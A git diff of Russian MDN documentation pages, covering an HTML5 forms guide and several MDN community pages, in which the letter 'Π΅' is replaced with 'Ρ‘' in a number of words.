ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ эти возмоТности для Ρ‚Π΅Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° JavaScript.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Ρ„ΠΎΡ€ΠΌ Π² <strong>HTML5</strong> ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ большиС возмоТности сСмантичСской вёрстки, Ρ‡Π΅ΠΌ HTML4, Π° Ρ‚Π°ΠΊΠΆΠ΅ позволяСт ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ использования JavaScript ΠΈ CSS, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ Ρ€Π°Π½Π΅Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для HTML4. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ΅ возмоТности Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ… HTML5 Π΄Π΅Π»Π°ΡŽΡ‚ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²Π΅Π±-сайтов. Они Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ эти возмоТности для Ρ‚Π΅Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° JavaScript.</p>
<p><span class="seoSummary">Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ описываСт измСнСния Π² HTML-Ρ„ΠΎΡ€ΠΌΠ°Ρ…, прСдставлСнных Π² HTML5. Для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ³ΠΎ руководства ΠΏΠΎ использованию Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ, просмотритС нашС ΠΎΠ±ΡˆΠΈΡ€Π½ΠΎΠ΅<a href="/ru/docs/Web/Guide/HTML/Forms"> руководство ΠΏΠΎ HTML-Ρ„ΠΎΡ€ΠΌΠ°ΠΌ</a>.</span></p>
@@ -29,7 +29,7 @@ original_slug: Web/Guide/HTML/Π€ΠΎΡ€ΠΌΡ‹_Π²_HTML
<li>
<p><code>email</code>: Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ прСдставляСт ΠΈΠ· сСбя ΠΏΠΎΠ»Π΅ для Π²Π²ΠΎΠ΄Π° ΠΎΠ΄Π½ΠΎΠ³ΠΎ адрСса элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹ строк автоматичСски ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ ΠΈΠ· значСния <code>value</code>. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдоставлСн Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ адрСс эл. ΠΏΠΎΡ‡Ρ‚Ρ‹, Π½ΠΎ ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° Π·Π°ΠΏΡ€Π΅Ρ‚ΠΈΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹, Ссли эл. адрСс ΠΏΠΎΡ‡Ρ‚Ρ‹ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΡ€ΠΌΠ°ΠΌ ABNF.</p>
- <div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅:</strong> Если установлСн Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("multiple", "input")}}, Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½ΠΎ нСсколько адрСсов элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятой, Π½ΠΎ, Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, такая Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Π² Firefox.</div>
+ <div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅:</strong> Если установлСн Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("multiple", "input")}}, Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½ΠΎ нСсколько адрСсов элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятой, Π½ΠΎ, Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, такая Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Π² Firefox.</div>
</li>
</ul>
@@ -40,7 +40,7 @@ original_slug: Web/Guide/HTML/Π€ΠΎΡ€ΠΌΡ‹_Π²_HTML
<li>{{htmlattrxref("pattern", "input")}}: РСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ΡΡ Π²Π²ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. ΠœΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² элСмСнтС {{htmlattrxref("type", "input")}} со значСниями <code>text</code>, <code>tel</code>, <code>search</code>, <code>url</code>, <code>ΠΈ email</code>.</li>
<li>{{htmlattrxref("form", "input")}}: Π‘Ρ‚Ρ€ΠΎΠΊΠ°, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ, ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ элСмСнту {{HTMLElement("form")}} ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ элСмСнт. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹.</li>
<li>{{htmlattrxref("formmethod", "input")}}: Π‘Ρ‚Ρ€ΠΎΠΊΠ°, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…Β  (GET or POST), ΠΊΠΎΠ³Π΄Π° Ρ„ΠΎΡ€ΠΌΠ° отправляСтся Π½Π° сСрвСр. Он ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("method", "form")}} элСмСнта {{HTMLElement("form")}}, Ссли установлСн. Π Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ссли {{htmlattrxref("type", "input")}} являСтся <code>image</code> <code>ΠΈΠ»ΠΈ submit, </code>ΠΈ Ссли установлСн Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("form", "input")}}.</li>
- <li>{{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: Π‘Ρ‚Ρ€ΠΎΠΊΠ°, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ Π½Π° сообщСниС ΠΎΠ± ошибкС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, Ссли это ΠΏΠΎΠ»Π΅ Π½Π΅ ΠΏΡ€ΠΎΠΉΠ΄Π΅Ρ‚ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ - Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Mozilla ΠΈ Π½Π΅ являСтся стандартом.</li>
+ <li>{{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: Π‘Ρ‚Ρ€ΠΎΠΊΠ°, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ Π½Π° сообщСниС ΠΎΠ± ошибкС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, Ссли это ΠΏΠΎΠ»Π΅ Π½Π΅ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘Ρ‚ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ - Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Mozilla ΠΈ Π½Π΅ являСтся стандартом.</li>
</ul>
<h2 id="ВСкстовоС_ΠΏΠΎΠ»Π΅">ВСкстовоС ΠΏΠΎΠ»Π΅</h2>
@@ -48,7 +48,7 @@ original_slug: Web/Guide/HTML/Π€ΠΎΡ€ΠΌΡ‹_Π²_HTML
<p><code>&lt;input&gt;</code> с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>type="text"</code> опрСдСляСт однострочноС ΠΏΠΎΠ»Π΅ для Π²Π²ΠΎΠ΄Π°.</p>
<pre class="brush: html">&lt;form&gt;
- Π’Π²Π΅Π΄ΠΈΡ‚Π΅ своС имя: &lt;input type="text" name="name"&gt;
+ Π’Π²Π΅Π΄ΠΈΡ‚Π΅ своё имя: &lt;input type="text" name="name"&gt;
&lt;/form&gt;</pre>
<h2 id="Π€Π»Π°ΠΆΠΎΠΊ"><strong style="font-size: 2.142857142857143rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Π€Π»Π°ΠΆΠΎΠΊ</strong></h2>
@@ -85,7 +85,7 @@ original_slug: Web/Guide/HTML/Π€ΠΎΡ€ΠΌΡ‹_Π²_HTML
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>{{HTMLElement("output")}}</code> прСдставляСт собой Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ вычислСний.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("for", "output")}} для указания связи ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтом <code>{{HTMLElement("output")}}</code> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ элСмСнтами Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ повлияли Π½Π° расчСт (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, поля для Π²Π²ΠΎΠ΄Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²). Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("for", "output")}} являСтся список ID Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("for", "output")}} для указания связи ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтом <code>{{HTMLElement("output")}}</code> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ элСмСнтами Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ повлияли Π½Π° расчёт (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, поля для Π²Π²ΠΎΠ΄Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²). Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("for", "output")}} являСтся список ID Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ.</p>
<p>{{non-standard_inline}} Gecko 2.0 (but not necessarily other browser engines) supports defining custom validity constraints and error messages for {{HTMLElement("output")}} elements, and therefore applies the {{Cssxref(":invalid")}}, {{Cssxref(":valid")}}, {{Cssxref(":-moz-ui-invalid")}}, and {{Cssxref(":-moz-ui-valid")}} CSS pseudo-classes to them. This can be helpful in situations where the calculated result violates a business rule, but no specific input value does (for example, "The total of percentages must not exceed 100").</p>
diff --git a/files/ru/orphaned/mdn/community/conversations/index.html b/files/ru/orphaned/mdn/community/conversations/index.html
index c0c6683b69..2c24e68139 100644
--- a/files/ru/orphaned/mdn/community/conversations/index.html
+++ b/files/ru/orphaned/mdn/community/conversations/index.html
@@ -45,7 +45,7 @@ original_slug: MDN/БообщСство/Conversations
<h3 id="What_about_IRC">What about IRC?</h3>
-<p>Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π»Π΅Ρ‚ Mozilla использовала Internet Relay Chat (IRC) для обсуТдСния Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π‘ Π½Π°Ρ‡Π°Π»Π° 2020 Π³ΠΎΠ΄Π° IRC устарСл ΠΈ Π·Π°ΠΌΠ΅Π½Π΅Π½ Matrix. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ ссылки Π½Π° IRC-ΠΊΠ°Π½Π°Π»Ρ‹ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… мСстах, Π² Ρ‚ΠΎΠΌ числС Π½Π° MDN. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠΎΡ‡ΡŒ, ΠΎΠ±Π½ΠΎΠ²ΠΈΠ² ссылки Π½Π° IRC-ΠΊΠ°Π½Π°Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π° MDN, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π»ΠΈ Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠΌΠ½Π°Ρ‚Ρ‹ Matrix. Если Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ прСдставляСт собой ΠΊΠΎΠΌΠ½Π°Ρ‚Π° Matrix ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅, спроситС Π² ΠΎΠ±Ρ‰Π΅ΠΉ ΠΊΠΎΠΌΠ½Π°Ρ‚Π΅. Π£ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² ΠΈΠ»ΠΈ Ρ‚Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ большС Π½Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹, ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Π±Ρ‹Ρ‚ΡŒ ΠΊΠΎΠΌΠ½Π°Ρ‚Ρ‹ Matrix; Π² Ρ‚Π°ΠΊΠΈΡ… случаях просто ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ ссылку.</p>
+<p>Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π»Π΅Ρ‚ Mozilla использовала Internet Relay Chat (IRC) для обсуТдСния Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π‘ Π½Π°Ρ‡Π°Π»Π° 2020 Π³ΠΎΠ΄Π° IRC устарСл ΠΈ Π·Π°ΠΌΠ΅Π½Ρ‘Π½ Matrix. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ ссылки Π½Π° IRC-ΠΊΠ°Π½Π°Π»Ρ‹ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… мСстах, Π² Ρ‚ΠΎΠΌ числС Π½Π° MDN. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠΎΡ‡ΡŒ, ΠΎΠ±Π½ΠΎΠ²ΠΈΠ² ссылки Π½Π° IRC-ΠΊΠ°Π½Π°Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π½Π° MDN, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π»ΠΈ Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠΌΠ½Π°Ρ‚Ρ‹ Matrix. Если Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ прСдставляСт собой ΠΊΠΎΠΌΠ½Π°Ρ‚Π° Matrix ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅, спроситС Π² ΠΎΠ±Ρ‰Π΅ΠΉ ΠΊΠΎΠΌΠ½Π°Ρ‚Π΅. Π£ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² ΠΈΠ»ΠΈ Ρ‚Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ большС Π½Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹, ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Π±Ρ‹Ρ‚ΡŒ ΠΊΠΎΠΌΠ½Π°Ρ‚Ρ‹ Matrix; Π² Ρ‚Π°ΠΊΠΈΡ… случаях просто ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ ссылку.</p>
<h2 id="ΠŸΡ€ΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΡΠΉΡΡ_ΠΊ_нашим_встрСчам_ΠΈ_Π΄Ρ€ΡƒΠ³ΠΈΠΌ_событиям">ΠŸΡ€ΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΡΠΉΡΡ ΠΊ нашим встрСчам (ΠΈ другим событиям)</h2>
diff --git a/files/ru/orphaned/mdn/community/index.html b/files/ru/orphaned/mdn/community/index.html
index cbbdbc999b..a99668fa42 100644
--- a/files/ru/orphaned/mdn/community/index.html
+++ b/files/ru/orphaned/mdn/community/index.html
@@ -16,7 +16,7 @@ original_slug: MDN/БообщСство
<p>MDN (Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Π° Mozilla Developer Network) - это большС Ρ‡Π΅ΠΌ wiki: это сообщСство Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΡ… вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ MDN Π»ΡƒΡ‡ΡˆΠΈΠΌ рСсурсом для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Π΅ Π’Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ.</p>
</div>
-<p>ΠœΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ внСсли свой Π²ΠΊΠ»Π°Π΄ Π² MDN, Π½ΠΎ Π΅Ρ‰Π΅ большС ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ участвовали Π² сообщСствС MDN. Π’ΠΎΡ‚ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒΡΡ, Π·Π° Ρ‚Ρ€ΠΈ простых шага:</p>
+<p>ΠœΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ внСсли свой Π²ΠΊΠ»Π°Π΄ Π² MDN, Π½ΠΎ Π΅Ρ‰Ρ‘ большС ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ участвовали Π² сообщСствС MDN. Π’ΠΎΡ‚ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒΡΡ, Π·Π° Ρ‚Ρ€ΠΈ простых шага:</p>
<ol>
<li><a href="/ru/docs/MDN/Contribute/Howto/Create_an_MDN_account">Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ MDN Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚</a>.</li>
diff --git a/files/ru/orphaned/mdn/community/whats_happening/index.html b/files/ru/orphaned/mdn/community/whats_happening/index.html
index 1230622cdd..ee3f6b3917 100644
--- a/files/ru/orphaned/mdn/community/whats_happening/index.html
+++ b/files/ru/orphaned/mdn/community/whats_happening/index.html
@@ -12,7 +12,7 @@ original_slug: MDN/БообщСство/Whats_happening
<dl>
<dt><a href="https://hacks.mozilla.org/" title="https://hacks.mozilla.org/">Mozilla Hacks</a></dt>
- <dd>Новости ΠΈ ΡƒΠ³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ освСщСниС ВСб-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ ΠΈ особСнностСй Mozilla.</dd>
+ <dd>Новости ΠΈ ΡƒΠ³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ освСщСниС ВСб-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ ΠΈ особСнностСй Mozilla.</dd>
<dt><a href="https://blog.mozilla.org/community/category/developer-engagement/">Engaging Developers</a></dt>
<dd><span id="result_box" lang="ru"><span>ΠŸΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ активности</span> <span>ΠΈ обсуТдСния</span> <span>срСди</span> <span>сообщСства, ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ…</span> <span>Π²</span> <span>MDN</span> <span>Π²</span> <span>Mozilla</span></span>.</dd>
</dl>
diff --git a/files/ru/orphaned/mdn/community/working_in_community/index.html b/files/ru/orphaned/mdn/community/working_in_community/index.html
index 9fd9e70f83..0b2a4ff95d 100644
--- a/files/ru/orphaned/mdn/community/working_in_community/index.html
+++ b/files/ru/orphaned/mdn/community/working_in_community/index.html
@@ -24,7 +24,7 @@ original_slug: MDN/БообщСство/Working_in_community
<li>НайдитС баланс ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒΡŽ Π² Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ люди Π² вашСй дискуссии Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΡΠ²ΡΡ‚ΠΈΡ‚ΡŒ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π°ΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ. НС настаивайтС Π½Π° всС большСм количСствС Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ, Ссли Π² этом прямо сСйчас Π½Π΅Ρ‚ нСобходимости, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это ΠΌΠΎΠΆΠ΅Ρ‚ вывСсти Π΄Ρ€ΡƒΠ³ΠΈΡ… людСй ΠΈΠ· сСбя.</li>
<li>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ваш запрос ΠΎΡ‚Π½ΠΈΠΌΠ°Π΅Ρ‚ Ρ†Π΅Π½Π½ΠΎΠ΅ врСмя Ρƒ людСй, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅, поэтому ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΈΡ… врСмя с ΡƒΠΌΠΎΠΌ.</li>
